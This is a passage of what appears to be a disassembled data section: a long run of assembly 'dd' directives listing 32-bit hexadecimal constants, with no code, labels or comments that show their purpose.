		dd 37A3B73Ah, 99D13388h, 89C7EE80h, 0C891FD0Dh,	0C5517B00h
		dd 3013FC5Dh, 3468DCCAh, 0D5157175h, 0B874E9h, 0D46E03C2h
		dd 44E02Fh, 57F5B3E3h, 6C0B3682h, 29807B18h, 63AF7A51h
		dd 7533C190h, 8038BFF0h, 0E7000492h, 0C91D142h,	914C6B4Ah
		dd 9DFC87B0h, 0B115E0E8h, 38005A21h, 6596808Ch,	15C888ACh
		dd 0A47B56EFh, 0AA2E0F7Bh, 68A0C2E1h, 90FB7EDFh, 0E77FAC00h
		dd 27D7F994h, 0C7D00AD9h, 60C0D8CDh, 2681DDF7h,	0C320A700h
		dd 0D7E1B331h, 0D6191895h, 0E3798EBh, 88612924h, 0A36A5685h
		dd 27B7A021h, 0B53B69C8h, 74C90F0h, 9B3DC01Ch, 12315870h
		dd 14219923h, 0BA184400h, 0CCFAE188h, 0DEA13500h, 3863E0Eh
		dd 44809856h, 1271F829h, 2A4DC607h, 958423CAh, 3E0A28C1h
		dd 0CABB2820h, 10AC3350h, 1EA20E38h, 61082CA3h,	0DBB90131h
		dd 0FB582ABBh, 0D8ABF01Ah, 91D07600h, 5C2043EAh, 2416035Ah
		dd 3E5632BCh, 9EE9F7C0h, 0EF12397Eh, 3802602Fh,	0C0E7B4C4h
		dd 3339160h, 0F7C62CD8h, 78A03EEEh, 0B32C13B9h,	6A404C11h
		dd 2DE08Fh, 8B969D4Ah, 0C2593343h, 592B53Ch, 61C4F6A7h
		dd 0E0303DC4h, 0B0ECCA47h, 13160943h, 9C8114EEh, 0CBF44611h
		dd 0E9C88B98h, 455622h,	5E26C4B9h, 0D9F1F206h, 0D4A08428h
		dd 0D2C70100h, 0CF179CB7h, 58EB48A2h, 0A838F280h, 630098DBh
		dd 5EDDB933h, 1E790541h, 40A47EE0h, 0F78899DFh,	7560A883h
		dd 0AC7C0269h, 0E38B15BEh, 75034072h, 783EBD42h, 519B73B8h
		dd 0D1EA670Eh, 7CB160DFh, 405D15h, 7509F9BCh, 0E989C625h
		dd 0CB9C9102h, 5A146A9Eh, 0F74500A4h, 0FFC8B1DAh, 6C940CCFh
		dd 9A6D1341h, 9EE4AEC5h, 0BA41F9Ch, 0D91D804Dh,	175663C6h
		dd 0D375E50Fh, 0F57461F1h, 0BE20B171h, 0C56B3B42h, 12B38D86h
		dd 3FE25151h, 831F0700h, 6BC99ABBh, 84EC0785h, 7539E253h
		dd 0A4E984C4h, 23027DE0h, 0FBBE4597h, 846C423Ah, 4740759Ch
		dd 304DE58Bh, 0AFC42D0Ch, 37691946h, 3072414Fh,	4DE831BBh
		dd 6C29F500h, 0C0A25678h, 7E830689h, 99C212E4h,	2BF51E07h
		dd 0EC20CA28h, 71B9CD74h, 42C8B0AEh, 7E220Fh, 0C2C5686Fh
		dd 0C996DE63h, 0FF397A03h, 9280C78Ah, 58CC414h,	0B1189E25h
		dd 0CC6C0E3h, 0DF13EC44h, 98201159h, 9CB328h, 85FE5763h
		dd 7A9D3665h, 0CB0780F4h, 0DA2C05FDh, 0CED27500h, 41D6FBECh
		dd 7422FEBCh, 5700204Bh, 2924A61Fh, 6500C75Eh, 70760E7Ah
		dd 78160767h, 40DA5D7Bh, 0F7B12D4Dh, 5F4C0CB8h,	7762C28h
		dd 0FADCCC00h, 22FCF6Bh, 771E1AABh, 4068C875h, 14259DC0h
		dd 0F8A820EAh, 8918F3h,	1B597110h, 342833D7h, 0BBA8F500h
		dd 0F85B0D91h, 32D5738Eh, 200458CBh, 71DAD841h,	8921D148h
		dd 246DC1h, 84A1F24Ch, 8A251529h, 2C50B813h, 80475871h
		dd 886EBF10h, 0E7CB800Dh, 51EEEC4Dh, 70BDF01h, 141C16F3h
		dd 420FE862h, 0C6A5F9BEh, 79942088h, 0E51F56A0h, 39802B6Fh
		dd 66C34001h, 2AC41D47h, 0E8FA40B9h, 7DAF3AC7h,	706C6F01h
		dd 0A6EC6BC2h, 0FAE040D1h, 0B9421DEDh, 68C14DEAh, 0C58AF020h
		dd 9448204h, 4D804E2Eh,	3B7A0A3h, 70302C03h, 410C4AC7h
		dd 584F9348h, 211601BFh
		dd 0C5C45C3h, 74C0D3A2h, 0F1009629h, 0B8360E61h, 6198ECBBh
		dd 0A35C8908h, 0E06FC82Eh, 3BFDA000h, 6B3F32E2h, 614260D1h
		dd 52FE62F0h, 0A0BADF00h, 79EBFA8Ch, 0F3E50F8Ah, 11C65AEh
		dd 9B6BB756h, 49598096h, 0ADE436D6h, 904F7FE7h,	3D80C0C5h
		dd 0AE51D52Fh, 89FD5318h, 1BB7FCB9h, 70F41E05h,	0EF59F9C0h
		dd 85BA7A00h, 0DBE44A51h, 0F4FEE478h, 9955600Dh, 0EF5C32CEh
		dd 0D78AE000h, 5EBCEA4Eh, 0F56F3DBAh, 0C148848Dh, 28E66051h
		dd 85B0E201h, 0BE3EE7A4h, 0DF921DFCh, 0ED370381h, 0AF91CCD1h
		dd 0E390C491h, 0B40BAD71h, 83CAA430h, 1FFD2CFh,	0BD50EA51h
		dd 40B768D5h, 4FDA5B98h, 0CC2978E0h, 6826C52h, 97F40h
		dd 2C53AAC2h, 0DAC44CA0h, 9D3CC500h, 45AF8C64h,	129DF85h
		dd 0E9C946A4h, 93082452h, 80F0AC3Dh, 417EFF1h, 1D710B27h
		dd 0C0343932h, 0E2C396A1h, 730C1CC0h, 3957E819h, 3A3F0068h
		dd 7A4F9123h, 1E3A1332h, 0CB9D12E3h, 0E2FD2802h, 714C449Bh
		dd 0D85F01B8h, 0DB3B66CCh, 0EB7E20EEh, 0BB912400h, 0A27E1F16h
		dd 0CEE930A0h, 0AA860B61h, 84F1C700h, 4EF0A6E2h, 77250033h
		dd 95357AD1h, 4300B871h, 0B494EF93h, 750122Eh, 5D860E07h
		dd 3B9E4066h, 2A03B78Dh, 0FB952732h, 0A1DA07Ah,	0B386009Fh
		dd 0CDAF1B7Eh, 3A63EED4h, 0D86CC521h, 335B49Dh,	0EC140D10h
		dd 9CA00724h, 2578CBBCh, 6695B001h, 5EBF2B2Dh, 0B2E53984h
		dd 60A0827Eh, 40858740h, 0E1C0A100h, 66164C20h,	21A8189Ch
		dd 0CA943032h, 82702A7Ch, 6501C000h, 435EEB07h,	3CE900DAh
		dd 429C6C39h, 0B4883597h, 2F130728h, 80EE30B5h,	33069BDCh
		dd 0F1819EE1h, 1B008B6Ch, 374053F7h, 0B786Ch, 4DB45D6Dh
		dd 0D7A8EA24h, 0FE1D5615h, 0C17B00A0h, 9CBD8858h, 0E659008Ch
		dd 9140DAB6h, 90A056F5h, 847455E0h, 0E867DE03h,	0FEAC41EDh
		dd 0D6352C70h, 1431E8Ah, 0D1CEF43Bh, 0B0C1F058h, 5996CCA0h
		dd 0E4BC60FBh, 6BB08067h, 0A0B6F8DCh, 1D888D88h, 18569AFFh
		dd 660191F8h, 1D4BD303h, 8AD4Dh, 0F7581069h, 147B2FA9h
		dd 81BFE53Ch, 0EC8807B7h, 0C083CF7Ch, 841592F9h, 1E32D3D8h
		dd 1F0C66EEh, 0C81BAD57h, 9A6900F8h, 0A8E8271h,	0ACAB92E0h
		dd 0D23280C5h, 86062ADCh, 9AAC9B1Ah, 2747379h, 0AD589682h
		dd 56609921h, 8DFCABA7h, 881B1900h, 0E31869Ch, 6EB1DE8h
		dd 0CD958A8Fh, 0AA784C90h, 0D4702700h, 2A3D8485h, 0F2DC8079h
		dd 1C744B0Fh, 834C80DBh, 0B77A9Eh, 0B315FC57h, 1EB83D70h
		dd 2032C600h, 0A792187Bh, 3694A9F7h, 0FD008022h, 19A6D5E8h
		dd 9C1B9965h, 88D97445h, 141A5584h, 0C8B4E193h,	38E66B07h
		dd 0AD33709Bh, 0A0090250h, 0C426DD4h, 7FB514Ch,	81ED626Bh
		dd 4EF7B01Ch, 44908916h, 88185CA4h, 0B250CB60h,	375A7A58h
		dd 0E4F18FB5h, 3E5480EDh, 9A0F73CBh, 0BEFC15h, 0EA7CFA4Ch
		dd 6FE331C9h, 0F06CF569h, 7871F8ABh, 5772C702h,	40A1D449h
		dd 1B81B10h, 8ACF3A94h,	0DCEA0FC2h, 0C1642237h,	1568070h
		dd 142511F2h, 0E6C18CD4h, 1BF6193h, 8EFA2653h, 0F470343Ch
		dd 0D124AB4h, 98402A33h, 0E2688958h, 997B3AEEh,	161F8700h
		dd 1E889371h, 448297Dh,	44EAC014h, 6B28A62h, 33C587A4h
		dd 0C80E4953h, 80CE7318h, 1A4CEB70h, 0F42C5436h, 0CB13016Eh
		dd 0AC89547Ah, 0BEB9807Eh, 93BA00Ah, 0AD2E03A4h, 0F7264A96h
		dd 12F3C3E0h, 39571807h, 0AB402BD3h, 3AB7BBh, 71C6BFE1h
		dd 7D2D4316h, 4ECCCB00h, 45B465DBh, 0E255032Eh,	4713D4AFh
		dd 3615990Ah, 50808CD7h, 4A318234h, 32EC0270h, 360CB643h
		dd 44099C90h, 0E336400h, 0DA3AEA0h, 0F0EE0127h,	3D1481B6h
		dd 0C0D1802Bh, 0D176CE17h, 0F3D600A1h, 49DA6F2Fh, 5244420h
		dd 0BE000CB5h, 0DE921FF7h, 0C8AE8995h, 0F80E9E86h, 299C8CD9h
		dd 4F84B0AAh, 0BBC31C57h, 720F384Ch, 49929258h,	0E880E454h
		dd 9BCC01B2h, 39384330h, 5BF06B1h, 3FCA9D60h, 3ED420E5h
		dd 0A6001A82h, 24519732h, 0D5B2FAh, 88308338h, 70ACB1E7h
		dd 917899C0h, 3AE165h, 0B45A1918h, 0FFBAC977h, 3F0F2200h
		dd 0C36C9B63h, 0A0BC609Dh, 72E7FC2Eh, 16243CB0h, 0EE0FF09Eh
		dd 26E6E68Dh, 2E650599h, 0C7F3F939h, 0C061F7CAh, 9F02B46Eh
		dd 91A9F002h, 615F4B04h, 45179C14h, 886C00AFh, 7C960EFCh
		dd 1A3E0704h, 7A002430h, 7E5ACB44h, 4C2B3Dh, 6987A8ECh
		dd 13E629BFh, 0E14E3CDh, 0E80E51Ch, 9F41DEE9h, 0AEFAF4C0h
		dd 0B025A41Eh, 7BE4881Fh, 3055601Dh, 9E34B4CBh,	8B6AFB0Bh
		dd 3C3B8313h, 4629002Eh, 0CFA19382h, 3D0F2CFCh,	20AD8141h
		dd 6A4852FBh, 0F1430053h, 0B4496C3Bh, 36097F3Fh, 806EC00Ch
		dd 30044BC0h, 0CBC1C05Fh, 88D2AC01h, 0DAA01600h, 0A2101993h
		dd 0DEDF0004h, 0D9A1F082h, 9B31E80Bh, 33FB817Eh, 4D0FDC62h
		dd 0C100BFD4h, 6E070A6h, 0F9868800h, 3A890E8Ah,	0DD9E241Fh
		dd 0E55B0528h, 0A85348h, 71455F1h, 6200BE81h, 0F45EF32Bh
		dd 1D0319Bh, 0B33338D3h, 305F70A9h, 0D248C928h,	9D840178h
		dd 0F21AEA0Eh, 269427C0h, 69EC92D3h, 1CB58B80h,	0A1DC4D33h
		dd 659C900h, 0A8B32C68h, 92D05Ch, 0A739B9BCh, 0E7B1635h
		dd 0BD031AF2h, 0D295C0E1h, 36591883h, 10B6F92Dh, 0CF546800h
		dd 0E89D38A9h, 0B8391EC3h, 0F79C725h, 4966A115h, 0EC82F2FDh
		dd 0D4027AC6h, 764E4FAh, 0B84C07CAh, 9A3BE18Ch,	0F96040ADh
		dd 801E2565h, 0AE8436C2h, 2CC01D46h, 636E21h, 4CF114E4h
		dd 0E556B3C0h, 96B5AE07h, 805984F9h, 0A22892CCh, 18B0EC64h
		dd 18C03945h, 90B86BF9h, 26183D09h, 1EEC21E1h, 91805230h
		dd 1C4A80BBh, 2200F551h, 0BFF20B31h, 5CD62F88h,	0EC00042Ah
		dd 8695FBE8h, 7319B1CEh, 0DDD9C336h, 0BB38CCCh,	0B4E46A60h
		dd 36B75C01h, 512910D7h, 0DCEB3C82h, 0E108DD00h, 0D4AE11DEh
		dd 81D6EC7Dh, 81834409h, 2B9AB72Ch, 0C4C870BBh,	88128E22h
		dd 0B8203293h, 0ED4670h, 0E0EC8AD8h, 0B13116DFh, 1700E47Ah
		dd 45B52665h, 1D2D1C8h,	0EADF33B8h, 0CFCCA9B2h,	2495E691h
		dd 0FF00D560h, 0DBF21070h, 3D48556h, 91C7E64h, 0D6FFF7A1h
		dd 0B4007126h, 0C581F335h, 0F9E76Ch, 41D0EB8Dh,	6971CF72h
		dd 40DD7D00h, 0DE44BB0Ch, 0A43A1297h, 0C11090E6h, 0D10B5ACAh
		dd 901656B8h, 646A910h,	32DA6A22h, 20006925h, 9CDF0A5Dh
		dd 244826h, 2B90854Ch, 0DE425267h, 70B4C200h, 1C2D14FCh
		dd 0AFC307C0h, 80786D92h, 0ECFC77Eh, 19D58201h,	2B3375D8h
		dd 57BF5980h, 1DBBFEEBh, 80F6BD3Eh, 9074F312h, 249DA9C9h
		dd 40543684h, 0C5B22731h, 0BA08C81Dh, 0C09D078Ch, 6C60052h
		dd 0B4A9B7C7h, 9C07D746h, 0B5C3AE61h, 9D37F330h, 9F8D04A3h
		dd 82C51549h, 0A02E3478h, 0CA9BCBDDh, 9C334CB7h, 1758A4C0h
		dd 14E22609h, 1A1D8E00h, 0A1724D5Eh, 0FC230F54h, 660E02E1h
		dd 5142BBA1h, 0E2473CBh, 0A0738FB1h, 0F1DB46F2h, 23C981Bh
		dd 0B56D6BE7h, 34680AE6h, 0CE07CFDFh, 0FD077D41h, 247CA08Eh
		dd 0C74FB2h, 86100877h,	406EA9AEh, 884C2700h, 8E098BA1h
		dd 80150517h, 80A70681h, 12D14FA0h, 405288A0h, 0EC25E603h
		dd 4933C9h, 0FCCE89D1h,	79A9D7AEh, 0AB247F70h, 17036C42h
		dd 0B4AD9DF2h, 0D8B86890h, 0DF16037Ch, 96B3A978h, 0DCF41900h
		dd 5CDD6D55h, 0A7E513B2h, 4B040333h, 0C5A8164Ch, 51318671h
		dd 456618B9h, 15C48831h
		dd 0AC7818C8h, 10124979h, 6E89DD00h, 8C303A7Dh,	0C91A00F6h
		dd 0FB64A41Bh, 0C80AE63Ch, 0FCDF36BBh, 0F8049B80h, 0DB899Ch
		dd 34742C7Fh, 0FA3ABED9h, 0C5AAAC0Fh, 244077E3h, 92125387h
		dd 12F8BBD6h, 0CDE880C4h, 0B0F0DABBh, 172C4204h, 281BD092h
		dd 4832D6A9h, 98002998h, 6B0B831Eh, 12B42FF7h, 203245A5h
		dd 79AF535Ch, 85C4B107h, 90E14788h, 20C828F1h, 589301F6h
		dd 0CF601EB5h, 0FEC7235h, 0C1C3DE4Ah, 0EC076C98h, 0B2FC14DCh
		dd 40BB00A8h, 827FFA65h, 5E023B7Eh, 0CAB99729h,	99B0814Dh
		dd 8850F236h, 1C688B02h, 0C03D7527h, 87AFDC22h,	2D0029E9h
		dd 116E0BA3h, 308ED8F2h, 0E3F81566h, 0A10050FBh, 92BF1BC0h
		dd 8A94AC49h, 3FF7E700h, 844B09F0h, 60BED422h, 3EE2A7h
		dd 3854E19Dh, 88A40B34h, 0CC959014h, 28361820h,	135AE1h
		dd 0EBFAA42h, 0B261E451h, 8F0AFD00h, 432AED4Fh,	1438B8EEh
		dd 0CCBE7353h, 41F00820h, 2B2D7900h, 0CCE69A6Ch, 8BBE28BFh
		dd 578502E8h, 88951615h, 8802BD62h, 0D064BF2Bh,	0E6C7070Eh
		dd 0C88880B4h, 0B8BD9AFAh, 9C611AB4h, 0F619946h, 0C1B02CC9h
		dd 0E6B2D708h, 0D800F862h, 85F8E436h, 6A007CE3h, 65043903h
		dd 1589BCA0h, 74D49D64h, 0C0638C1Fh, 0B21DA5C9h, 0D802C362h
		dd 76339A51h, 0A434E1B8h, 0B4718402h, 78FFAD00h, 4D0809h
		dd 0C81F5815h, 4AE2BE0h, 0BF584CB8h, 169E4C02h,	0B61EB1E4h
		dd 0DF926044h, 0EE0C94B2h, 54510133h, 0D342A100h, 0BE4F9E9Ch
		dd 66851DF9h, 28697C9h,	0E77A89B7h, 910034E6h, 0F6D338A5h
		dd 0A010E104h, 7E4F31B4h, 0A86EEA6Ah, 89B994h, 27DE9E39h
		dd 51FE830Dh, 0C2497405h, 10881525h, 12CD0F53h,	680283Fh
		dd 0C0909F0Eh, 0F20950B8h, 804E62E2h, 4AB08808h, 7BBCA4ADh
		dd 2FA80034h, 8E5D4EFEh, 0B30C3128h, 59AC9BC8h,	0FC600BFBh
		dd 0B404850Dh, 6D9C8812h, 7BAF9D04h, 0F0C065C6h, 9AE6F702h
		dd 218D007Ch, 2AC3858Bh, 1200257Dh, 79BB377h, 0B008D1EBh
		dd 56BC0C0Ch, 0B28993B0h, 2E54AB02h, 0E0957591h, 1DFE7E64h
		dd 80E90DCCh, 9D149F01h, 4948C0DDh, 6F70A71Ch, 1E567805h
		dd 9F2DB64Fh, 7C32C966h, 0A45030A0h, 290081D2h,	0A808D45Eh
		dd 39F88D1h, 0E90E98C3h, 38911306h, 564C70F9h, 0E53B6507h
		dd 0E644B2Ch, 4060B4A5h, 20068934h, 0D14CF90h, 9FD4439Ch
		dd 0CC27CA97h, 0A02754C5h, 0E52766E0h, 7111C06Ch, 41A4CE1Eh
		dd 8F975807h, 0D1916637h, 94735D29h, 9D852600h,	428068F3h
		dd 1626A498h, 0E2024C8Bh, 5AAC9C1Bh, 9A78C854h,	80C53688h
		dd 0AA98C2D5h, 0F016A361h, 2C030257h, 0A0743054h, 0B999340h
		dd 12D4CD62h, 81ECAC98h, 2791FA00h, 4FE7AEBBh, 44DEFCD8h
		dd 28963682h, 0E0E1D78Fh, 2B0C3DDDh, 7D609D43h,	9D000EB6h
		dd 0B81F3853h, 2F40B65h, 71CD0CC0h, 389AAC85h, 9A901040h
		dd 4C52D302h, 51B85A69h, 0A1CD8034h, 1D73E4DCh,	3AC25E09h
		dd 41BC80D7h, 80937E9Ch, 562D9AFBh, 1E842011h, 72862B8h
		dd 215A175Ch, 416AB07Dh, 0C24EAF46h, 0C7DE9420h, 90CB0FFDh
		dd 0B380288Dh, 629D6EAAh, 23CA680Bh, 9C4C8230h,	4870727Bh
		dd 7E032EA8h, 1ECF881Dh, 80CA43C8h, 0A9271C00h,	0A8CFA20h
		dd 5812582Eh, 881B5684h, 711EA4D0h, 30CCC129h, 7192148h
		dd 0D293D1B0h, 0B7A35090h, 5C0680EFh, 7DE553D3h, 7F37AE1h
		dd 0C6FA4717h, 69D6097h, 880111C4h, 63F03CB5h, 60731FCAh
		dd 50054C00h, 9C90E593h, 0FC435B04h, 3986F640h,	209A4EF6h
		dd 37289E9Ch, 274358h, 0BC1A4F61h, 3F15F50Dh, 137D68FDh
		dd 90B3C2CFh, 3C9D5470h, 9F1BE407h, 0B9604842h,	0F4134D0h
		dd 0C6182CFEh, 30909DADh, 0E60065D4h, 0E140B85h, 7C4AE2C8h
		dd 4404B8AEh, 24943D95h, 0E9EAC380h, 912A1B8h, 0EED4BA98h
		dd 7C801430h, 809C48h, 7B4C7531h, 48221138h, 0D880C0E5h
		dd 2B9126Ch, 51F1901h, 3441C872h, 7D00D06Ch, 588E46EEh
		dd 0A0B9AC63h, 36CB1B00h, 3B6B13B1h, 2B0A0F99h,	3C27FCh
		dd 0CB2FF10Eh, 0B00067C7h, 1D7B61B7h, 0BC93B5A6h, 0E3494044h
		dd 7F4BD2EEh, 838AFC20h, 1E5E0191h, 613B250Dh, 4E7130BCh
		dd 8CDC4D00h, 0E6146066h, 0D4F21341h, 4C3008C3h, 0A137569Ch
		dd 0C2978B83h, 29EC441Ah, 1D8CEFD4h, 323C49B5h,	430CCCC8h
		dd 6272A300h, 0B8BDC2B7h, 21E21708h, 75DC309Ch,	9E0FD837h
		dd 0E0787CCEh, 0A76FA853h, 9061E25Ah, 8E8C0E8Ch, 0C731BB8h
		dd 6039FEF8h, 0B6C44B50h, 0C18635Ch, 0B8870F80h, 985053B8h
		dd 10529A02h, 7864E6C6h, 921C570Eh, 4819E064h, 0D09331h
		dd 0DD978799h, 56249115h, 70D78928h, 1C01056h, 77BDA8CBh
		dd 10859A96h, 0C1529ECEh, 20183B54h, 8414ABC8h,	138E1D6h
		dd 9AC4E00Dh, 26E8C7FDh, 0CF280314h, 77901CFAh,	0C04432A2h
		dd 7BFC6300h, 0DB892D49h, 1F3A07D0h, 12156D44h,	6840539Fh
		dd 48A4FBD4h, 0AB1AB013h, 79A12430h, 52A60011h,	0B95BF3EDh
		dd 0FF058891h, 0F57707Dh, 529288E4h, 0C300F033h, 140338AEh
		dd 8116D81Bh, 0AC203CE4h, 77FE4Fh, 0B49258A4h, 5DA19C38h
		dd 49608507h, 8640B7B5h, 0B0EACEEFh, 93E42679h,	5A4C00ECh
		dd 12EC071Ch, 0C499B116h, 0E174C400h, 7E176631h, 0BB92252Dh
		dd 6D07C029h, 81C88533h, 609162FAh, 0C2005694h,	42CA0229h
		dd 0E463C17Dh, 0DD2002F8h, 0FA1A3405h, 202A90C1h, 800BEBE8h
		dd 82D05AF3h, 24F68844h, 0E744C8E3h, 2316CF00h,	0BB78FE6h
		dd 1A998A0h, 56195B9Dh,	70CFB1E8h, 0BB03AACCh, 32EBA955h
		dd 0B039C184h, 4F03F062h, 2FFAC952h, 0DFF102C8h, 36D3930Bh
		dd 86FC903Dh, 44D00048h, 9937C547h, 0A7075C17h,	0CE36FADEh
		dd 102DDB5Ah, 0BED5D8h,	6D9D270Eh, 0CE42EDA6h, 0BF191D00h
		dd 0DEC825E7h, 0ACB80004h, 2CDC4F86h, 922933C5h, 0E6829CD2h
		dd 9013570Bh, 4C3D70ECh, 0A9174C17h, 9D4845F9h,	65548131h
		dd 176EF19Ch, 78C9BB25h, 0C97B7DF0h, 48483219h,	8600F5DDh
		dd 698AB1CBh, 1E6257FCh, 4F5C5626h, 99E051C3h, 0F25152Eh
		dd 0DC204CB9h, 7D2780C0h, 1F9B0EFAh, 81CE1F74h,	73DE42B8h
		dd 0EB15C0D1h, 2606E48h, 0E4662797h, 3D8C61C3h,	2C4E8530h
		dd 3CDCC16Fh, 0D9876C48h, 123A3026h, 0D2011637h, 4DDF6D5Ah
		dd 482CB0B1h, 0DC026780h, 79011149h, 7BE864BBh,	0F460DB4Dh
		dd 0A8B885h, 7A28337Eh,	0BF08371h, 0DEAD6104h, 38F2C888h
		dd 20BECD00h, 281DB940h, 7C3503Ah, 0F7D812FCh, 80A7C1F2h
		dd 20B552B0h, 62F93CC6h, 0D1FB5500h, 0E81790E6h, 0A0E3B025h
		dd 35EAD51Ch, 0F1F00041h, 0DE3D5771h, 0FF00E23Eh, 0C0BA7A1h
		dd 2860E06h, 27835F5h, 8CF19D62h, 0ABED8A00h, 0B2AE14h
		dd 8BD02C83h, 0D4D33E21h, 1AD0BE60h, 5B09BB0Fh,	0EB242092h
		dd 0C81E1407h, 89431B9Fh, 0BE1E8h, 8611D991h, 3A914794h
		dd 0FC6A751Dh, 0A7265743h, 14A6C074h, 0F0993Dh,	1FCCD620h
		dd 0A10177BBh, 56633A08h, 21A5F314h, 892F9010h,	0B86835Ch
		dd 65EEA6h, 75A6EC4h, 1C160054h, 0A4BE3C0Bh, 0FC006BBCh
		dd 44CA4822h, 0C0B5E87Eh, 0F3DBC1C8h, 7B00B84Ch, 0DC9496C5h
		dd 4D193Bh, 0D49161DAh,	5DA9CC52h, 161D53FAh, 340AB49Dh
		dd 0DB3DC486h, 5BB98C20h, 9CA30EBh, 63A03A58h, 6E6DD414h
		dd 0BBC300DCh, 0B70FCB40h, 699601B0h, 0BACA7AFFh, 0C402BACh
		dd 0A418740Ch, 0D0640F1Eh
		dd 8CBD0649h, 8BA045C4h, 748ACE26h, 690E5613h, 98201325h
		dd 1222BE53h, 0B433D81Ah, 761D46E0h, 7900AAB4h,	2A31C5F6h
		dd 4A6AFC81h, 94407278h, 0A11E8440h, 1FC91314h,	74042C8Ch
		dd 3FAE9502h, 1E490E6h,	9EA407B2h, 203ECE8Ch, 5DD5D372h
		dd 6E00FAF6h, 0EC223DBCh, 1D077CB8h, 4EA81EDh, 0C691E2E6h
		dd 5B0369D4h, 7A27E37Dh, 10B5A826h, 0A89A4873h,	9CA6F0C0h
		dd 0AF009E3Ch, 631AC984h, 589BF193h, 0C8977045h, 9003A58h
		dd 0BD4E8861h, 5C676CA0h, 26229CAEh, 0DC28B403h, 0E7663360h
		dd 0CE606899h, 3D87040Dh, 0C82E16C0h, 0E00AC24h, 0F634A46Bh
		dd 0E6D0B411h, 30D502CBh, 3391D972h, 643A9CC4h,	319803B5h
		dd 0C00B0407h, 4A81ABBDh, 30CD9Dh, 507D44A0h, 5F77800h
		dd 23C79906h, 87420E35h, 2E0D87Eh, 36B56F25h, 0C7CCE658h
		dd 7CF705B7h, 0EE149280h, 0A02E5F47h, 910033D2h, 36CFCC44h
		dd 1118AB8h, 2673A2BFh,	4127A02Bh, 0CC6E537Ch, 0D411C4EBh
		dd 0AC153D17h, 853FB47Fh, 67EA6B80h, 3D90C83Ah,	0E4C40600h
		dd 0B6A53025h, 0D85C50D9h, 16409042h, 6D6A0B2h,	18CEE474h
		dd 0C0C44F48h, 38C1E518h, 0B5620EBEh, 2C40882Dh, 2B293996h
		dd 0EFFE4A05h, 8C61709Bh, 742C3618h, 0A1C0858Fh, 9C2960FEh
		dd 370D2607h, 0D41AC143h, 0EC151007h, 9E19A5E0h, 704BE71h
		dd 28D195AAh, 0CDBC9C83h, 0A646A2FDh, 4FD06634h, 0F01460C0h
		dd 70687E0h, 0C8C5AF9Dh, 94434CD0h, 51D0A07Ah, 0E74D04B5h
		dd 0F2928E15h, 1A4C44h,	34307A33h, 3D18AA02h, 4CFE98EFh
		dd 4C184DEh, 718D7BB0h,	0C42C2CE4h, 0BCC0C3B6h,	9889E3B9h
		dd 32E51214h, 4DC80862h, 0FD98569Dh, 304A93A9h,	0FE599DACh
		dd 0CE027FE3h, 0FD6AADA3h, 4D28C0A6h, 0B84F0048h, 682CB275h
		dd 0BE02986Ch, 0C7EB0793h, 0FC05CF6h, 0D30506E0h, 0D9BB0C52h
		dd 491C3E61h, 0FEC002EDh, 5A4D0743h, 47A903D6h,	5FD89782h
		dd 34C09DBAh, 10B161C7h, 0D20A880h, 1D7C215h, 4C3B695Dh
		dd 2FA28D2Ah, 65C9F581h, 580302Ch, 9839E04Eh, 0B3D77109h
		dd 30D03899h, 0A728134Ah, 0FC7F01A5h, 2C61E60Dh, 673A81D0h
		dd 0ADFCEE7Bh, 129E008Ch, 0F4C72D58h, 36020196h, 2239BF5Fh
		dd 0E79C9111h, 8A85D0C8h, 9600ACF1h, 0D94852DAh, 739217C0h
		dd 0D0A0079h, 21807AB3h, 86FB1901h, 34F9D469h, 0EE88B47Ch
		dd 8EA5D789h, 9E01F26Ch, 860F061Fh, 5EDEE7E8h, 882440B3h
		dd 0EB60854Ah, 0AED9A00h, 68B68A01h, 0D419013Ch, 0F313F7C8h
		dd 6BA84C55h, 6E00F9FCh, 92E51FDEh, 3845B53h, 0FF31ED47h
		dd 0C117AA9Bh, 888849FBh, 8B120026h, 3148CB06h,	3B889DACh
		dd 5A4EEC3h, 3E7EBBB5h,	7C20429Ch, 0D8DA16FDh, 5998E300h
		dd 2F2D8562h, 6AF008Ch,	0C947E083h, 29904F7Dh, 0E937DA17h
		dd 0CB5CCD0h, 403D2D80h, 0E054D492h, 0A4B4C3C0h, 0ED712674h
		dd 7F900EFEh, 0D87A16C0h, 0D62E537Eh, 0BC6054CEh, 94DE6Dh
		dd 0CCDBCB50h, 0BE8036C4h, 2105EF01h, 0E93F8C0h, 0E6A9DF8h
		dd 0D363258Dh, 0F44F5660h, 9524C6FFh, 604B34D2h, 0E643B4h
		dd 0AE3E6431h, 9BFE527Bh, 44E1BC27h, 16D7E84h, 0FC150AD9h
		dd 0CCC228B9h, 534EE860h, 0D4A76CC0h, 5248B8h, 0ADA0FFCEh
		dd 6FDA046h, 0AA40249Ch, 0EE7C91C4h, 0FA8A002Ah, 3018D134h
		dd 4B03CF4Ch, 473955C0h, 31AE36h, 0E3D986EAh, 0FDA2B67Eh
		dd 0B4168402h, 4432393Fh, 42F50788h, 4FF0592h, 2530E9E0h
		dd 1E4E648h, 8D9AFD45h,	60FA5F24h, 330982E0h, 49749Ch
		dd 5720D350h, 8BA4B40Fh, 8CC4921Bh, 9B9F8809h, 822080CEh
		dd 9DE1FA0Eh, 0A032B420h, 80F33176h, 58838028h,	95AF96Bh
		dd 655323CBh, 93146078h, 25ECB0B1h, 0E310666Eh,	197CE0h
		dd 4F0CA30h, 2D7934B1h,	1EF5C00h, 0DE16824Fh, 4E84132Fh
		dd 4A20B436h, 10F4202Ch, 0E2A39D3Eh, 28C447CCh,	0B57C146Ch
		dd 0C60050E6h, 0FF19E429h, 0E2001594h, 1E2D1B13h, 7A4ACA9Dh
		dd 0A456552Bh, 0DB807828h, 946DB646h, 87343300h, 362B88F1h
		dd 0EE4C0C25h, 0B440A8AAh, 935C49FCh, 98B0C044h, 7BD7065Eh
		dd 0ABBB040Ch, 820E209Fh, 0C2227BA8h, 84BCC0C9h, 9157F842h
		dd 40013B94h, 567858F1h, 25B83213h, 0CFECE8E6h,	16D803D7h
		dd 93ED3A54h, 44A4A2F4h, 0C64A41ACh, 8B5B1C80h,	0D4DA1794h
		dd 4BDC8893h, 7DF40938h, 5A087800h, 970FD89Bh, 7262076Ch
		dd 50B8CB0Ch, 0EBE42234h, 804050B0h, 79C53E4Ch,	0F573CD03h
		dd 8CC1AB6Ch, 36CEF0D1h, 0BB9BCF3Bh, 0A7E41EEDh, 0F500FC3Ah
		dd 38450F80h, 4B3F62C2h, 0C7A3A0A2h, 95425F03h,	0D243B7h
		dd 0AF73A041h, 50159269h, 0FF00C41h, 0F5991D4Fh, 8ACC8060h
